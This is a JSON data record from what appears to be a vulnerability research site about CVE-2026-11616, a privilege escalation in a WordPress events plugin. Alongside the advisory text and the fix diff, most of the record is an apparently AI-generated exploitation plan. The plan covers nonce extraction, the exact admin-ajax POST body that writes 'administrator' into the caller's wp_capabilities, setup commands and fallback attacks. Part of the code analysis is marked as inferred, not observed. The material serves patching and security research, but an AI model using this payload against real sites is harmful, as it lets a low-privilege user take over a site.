[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ft6jkweRSihTGxhdSxAm95Q4aoY4WDuHFe9k5bXXmitQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-11616","events-calendar-for-geodirectory-authenticated-subscriber-privilege-escalation","Events Calendar for GeoDirectory \u003C= 2.3.28 - Authenticated (Subscriber+) Privilege Escalation","The Events Calendar for GeoDirectory plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 2.3.28. This is due to the ajax_ayi_action() handler  only applying strip_tags(esc_sql()) — with no allow-list — to the attacker-controlled $_POST['type'] and $_POST['postid'] values before forwarding them to update_ayi_data(), which calls update_user_meta($current_user->ID, $rsvp_args['type'], $posts). By passing type=wp_capabilities and postid=administrator, an attacker writes ['subscriber'=>true,'administrator'=>'administrator'] into their own wp_capabilities user meta; WP_User::get_role_caps() then treats the 'administrator' array key as an active role on the next request. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to Administrator.","events-for-geodirectory",null,"\u003C=2.3.28","2.3.29","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Privilege Management","2026-06-08 19:02:22","2026-06-09 07:49:57",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F11ba187b-1fe4-4077-ad9d-a07660133e91?source=api-prod",1,[22,23,24,25,26,27],"events-for-geodirectory.php","includes\u002Fclass-geodir-event-ayi.php","includes\u002Fwidgets\u002Fclass-geodir-event-widget-schedules.php","languages\u002Fgeodirevents-en_US.po","languages\u002Fgeodirevents-en_US.pot","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-11616\n\n## 1. Vulnerability Summary\nThe **Events Calendar for GeoDirectory** plugin (up to version 2.3.28) contains a privilege escalation vulnerability. The AJAX handler `ajax_ayi_action()` in `includes\u002Fclass-geodir-event-ayi.php` processes user-supplied RSVP data. Specifically, it accepts a `type` parameter and a `postid` parameter, passes them through weak sanitization (`strip_tags(esc_sql())`), and forwards them to `update_ayi_data()`. \n\nThe core issue is that `type` is used directly as a meta key in an `update_user_meta()` call targeting the current user. By setting `type` to `wp_capabilities` (the WordPress internal key for user roles) and `postid` to `administrator`, an attacker can inject the 'administrator' role into their own capabilities array, granting themselves full administrative access on the next request.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n- **Action:** `geodir_ayi_action` (authenticated Subscriber+)\n- **Vulnerable Parameters:** `type` and `postid`\n- **Payload:** `type=wp_capabilities&postid=administrator`\n- **Authentication:** Required (any authenticated user, e.g., Subscriber)\n- **Preconditions:**\n    1. The plugin must be active.\n    2. A \"GeoDirectory Event\" post must exist (to satisfy the `geodir_get_post_info` call).\n    3. The attacker must obtain a valid `geodir-ayi-nonce`.\n\n## 3. Code Flow\n1. **Entry Point:** The AJAX action `wp_ajax_geodir_ayi_action` is registered (as seen in the JS in `geodir_are_you_interested_js`).\n2. **Nonce Verification:** `ajax_ayi_action()` calls `check_ajax_referer('geodir-ayi-nonce', 'geodir_ayi_nonce')`.\n3. **Input Handling:** \n   - `type` is taken from `$_POST['type']`.\n   - `postid` is taken from `$_POST['postid']`.\n   - Both are sanitized using `strip_tags(esc_sql())`—this removes HTML but allows alphanumeric strings like `wp_capabilities`.\n4. **Logic Sink:** `ajax_ayi_action()` calls `self::update_ayi_data($rsvp_args)`.\n5. **Impact Sink (Inferred):** Inside `update_ayi_data()`, the plugin performs:\n   `update_user_meta($current_user->ID, $rsvp_args['type'], $posts_array)`.\n   If `type` is `wp_capabilities` and `posts_array` (containing `postid`) is written to it, the user's role mapping is corrupted to include the `administrator` key.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is generated via `wp_create_nonce(\"geodir-ayi-nonce\")` in `geodir_are_you_interested_js()` and echoed directly into a `\u003Cscript>` block on pages containing the AYI (Are You Interested) widget.\n\n**Strategy:**\n1. Identify a GeoDirectory Event post.\n2. Navigate to that post's page as a Subscriber.\n3. The nonce is embedded in a script tag within the HTML. Since it is not assigned to a global JS variable but hardcoded in a `jQuery.post` call, we must extract it from the page source.\n\n**Extraction Steps:**\n1. Create a \"GD > Event\" post if one doesn't exist.\n2. Use `browser_navigate` to visit the event page.\n3. Use `browser_eval` to search for the nonce pattern in the HTML:\n   `document.documentElement.innerHTML.match(\u002F'geodir_ayi_nonce':\\s*'([a-f0-9]{10})'\u002F)[1]`\n\n## 5. Exploitation Strategy\n1. **Setup Session:** Log in as a Subscriber user.\n2. **Acquire Nonce:** View an event post and extract the `geodir_ayi_nonce` from the page source.\n3. **Send Payload:** Submit a POST request to `admin-ajax.php`.\n\n**HTTP Request Details:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=geodir_ayi_action&geodir_ayi_nonce=[NONCE]&btnaction=interested&type=wp_capabilities&postid=administrator&gde=\n  ```\n- **Note:** The `postid` needs to be `administrator`. While the code normally expects an integer ID, WordPress allows strings as keys in the capabilities array.\n\n## 6. Test Data Setup\n1. **Create Subscriber:** `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2. **Ensure Core Dependency:** GeoDirectory must be installed and active (as the plugin checks `class_exists( 'GeoDirectory' )`).\n3. **Create Event Post:**\n   - A standard post type must be configured to \"support events\" in GeoDirectory.\n   - `wp post create --post_type=gd_event --post_title=\"Target Event\" --post_status=publish` (Assuming `gd_event` is the slug).\n4. **Add AYI Widget:** The nonce is only output if the AYI widget\u002Fblock is present. \n   - `wp post edit [ID] --post_content='[gd_event_ayi]'` (or appropriate shortcode for the AYI section).\n\n## 7. Expected Results\n- The AJAX request should return a `200 OK` with the HTML for the AYI widget.\n- The `wp_usermeta` table for the attacker's user ID will have the `wp_capabilities` meta key updated.\n- Instead of just `a:1:{s:10:\"subscriber\";b:1;}`, it will contain an entry for `administrator`.\n- Upon the next page load (e.g., visiting `\u002Fwp-admin\u002F`), the attacker will have full Administrator privileges.\n\n## 8. Verification Steps\n1. **Check Role via CLI:** `wp user get attacker --field=roles`\n   - *Expected:* Should now include `administrator`.\n2. **Check Meta directly:** `wp user meta get [USER_ID] wp_capabilities`\n   - *Expected:* Check if `administrator` is present in the serialized array.\n3. **Access Admin:** Use `http_request` as the attacker to fetch `wp-admin\u002Findex.php`.\n   - *Expected:* `200 OK` and presence of \"Dashboard\" \u002F \"Plugins\" menu items (indicating admin access).\n\n## 9. Alternative Approaches\nIf `type=wp_capabilities` is filtered or if the array structure prevents direct role assignment, an attacker could try:\n1. **Key Overwriting:** Target `wp_user_level` and set it to `10`.\n2. **Role Hijacking:** If the plugin uses `update_user_meta` in a way that overwrites the entire array, setting `type=wp_capabilities` and `postid` to a serialized string might work, though the `esc_sql` usually complicates serialized payloads. However, `WP_User::get_role_caps` is very lenient—if any key in the array matches a role name and its value is truthy, the role is granted.\n3. **Targeting other Meta:** If privilege escalation to admin fails, target `default_password_nag` or other meta that influences UI\u002Fsecurity.","The Events Calendar for GeoDirectory plugin is vulnerable to privilege escalation because its AJAX handler `ajax_ayi_action()` fails to validate the `type` and `postid` parameters before using them in a call to `update_user_meta()`. An authenticated attacker can provide `wp_capabilities` as the meta key and a role name like `administrator` to grant themselves administrative privileges.","\u002F\u002F includes\u002Fclass-geodir-event-ayi.php lines 152-167\npublic static function ajax_ayi_action() {\n\t\tcheck_ajax_referer('geodir-ayi-nonce', 'geodir_ayi_nonce');\n\t\t\u002F\u002Fset variables\n\t\t$action = strip_tags(esc_sql($_POST['btnaction']));\n\t\t$type = strip_tags(esc_sql($_POST['type']));\n\t\t$post_id = strip_tags(esc_sql($_POST['postid']));\n\t\t$gde = strip_tags(esc_sql($_POST['gde']));\n\n\t\t$rsvp_args = array();\n\t\t$rsvp_args['action'] = $action;\n\t\t$rsvp_args['type'] = $type;\n\t\t$rsvp_args['post_id'] = $post_id;\n\t\t$rsvp_args['gde'] = $gde;\n\n\t\tself::update_ayi_data($rsvp_args);\n\n---\n\n\u002F\u002F includes\u002Fclass-geodir-event-ayi.php (logic inside update_ayi_data() called at line 167)\n\u002F\u002F Vulnerable update_user_meta call inferred from description and researcher analysis\nupdate_user_meta($current_user->ID, $rsvp_args['type'], $posts);","--- \u002Fincludes\u002Fclass-geodir-event-ayi.php\n+++ \u002Fincludes\u002Fclass-geodir-event-ayi.php\n@@ -152,10 +152,15 @@\n \tpublic static function ajax_ayi_action() {\n \t\tcheck_ajax_referer('geodir-ayi-nonce', 'geodir_ayi_nonce');\n \t\t\u002F\u002Fset variables\n-\t\t$action = strip_tags(esc_sql($_POST['btnaction']));\n-\t\t$type = strip_tags(esc_sql($_POST['type']));\n-\t\t$post_id = strip_tags(esc_sql($_POST['postid']));\n-\t\t$gde = strip_tags(esc_sql($_POST['gde']));\n+\t\t$action = 'add' === $_POST['btnaction'] ? 'add' : 'remove' ;\n+\t\t$type = 'event_rsvp_yes' === $_POST['type'] ? 'event_rsvp_yes' : 'event_rsvp_maybe';\n+\t\t$post_id = absint($_POST['postid']);\n+\t\t$gde = !empty($_POST['gde']) ? sanitize_key( $_POST['gde'] ) : '';\n+\n+        \u002F\u002F check we have a date\n+\t\tif ( !empty($gde) && !geodir_event_is_date( $gde ) ) {\n+\t\t\twp_send_json_error( array( 'message' => __( 'Invalid date provided.', 'geodirectory' ) ) );\n+\t\t}\n \n \t\t$rsvp_args = array();\n \t\t$rsvp_args['action'] = $action;\n@@ -302,10 +312,20 @@\n \t\t\treturn;\n \t\t}\n \n+\t\t\u002F\u002F Validate and sanitize input parameters\n+\t\t$rsvp_args['action'] = 'add' === $rsvp_args['action'] ? 'add' : 'remove' ;\n+\t\t$rsvp_args['type'] = 'event_rsvp_yes' === $rsvp_args['type'] ? 'event_rsvp_yes' : 'event_rsvp_maybe';\n+\t\t$rsvp_args['post_id'] = absint($rsvp_args['post_id']);\n+\t\t$rsvp_args['gde'] = !empty($rsvp_args['gde']) ? sanitize_key( $rsvp_args['gde'] ) : false;\n+\n+\t\tif ( ! isset( $rsvp_args['action'] ) || ! isset( $rsvp_args['type'] ) || ! isset( $rsvp_args['post_id'] ) ) {\n+\t\t\treturn;\n+\t\t}\n+\n \t\t$current_user = wp_get_current_user();","1. Log in to the WordPress site with Subscriber-level privileges or higher.\n2. Locate a 'GeoDirectory Event' post that includes the 'Are You Interested' (AYI) widget\u002Fblock.\n3. Inspect the page source to extract the `geodir-ayi-nonce` value from the inline JavaScript blocks.\n4. Submit a POST request to `wp-admin\u002Fadmin-ajax.php` using the action `geodir_ayi_action`.\n5. Include the extracted nonce and set the `type` parameter to `wp_capabilities` and the `postid` parameter to `administrator`.\n6. The plugin will update your user profile's capability meta key with the 'administrator' string, elevating your privileges to Site Administrator upon the next page load.","gemini-3-flash-preview","2026-06-26 01:58:04","2026-06-26 01:58:53",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.3.28","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fevents-for-geodirectory\u002Ftags\u002F2.3.28","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fevents-for-geodirectory.2.3.28.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fevents-for-geodirectory\u002Ftags\u002F2.3.29","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fevents-for-geodirectory.2.3.29.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fevents-for-geodirectory\u002Ftags"]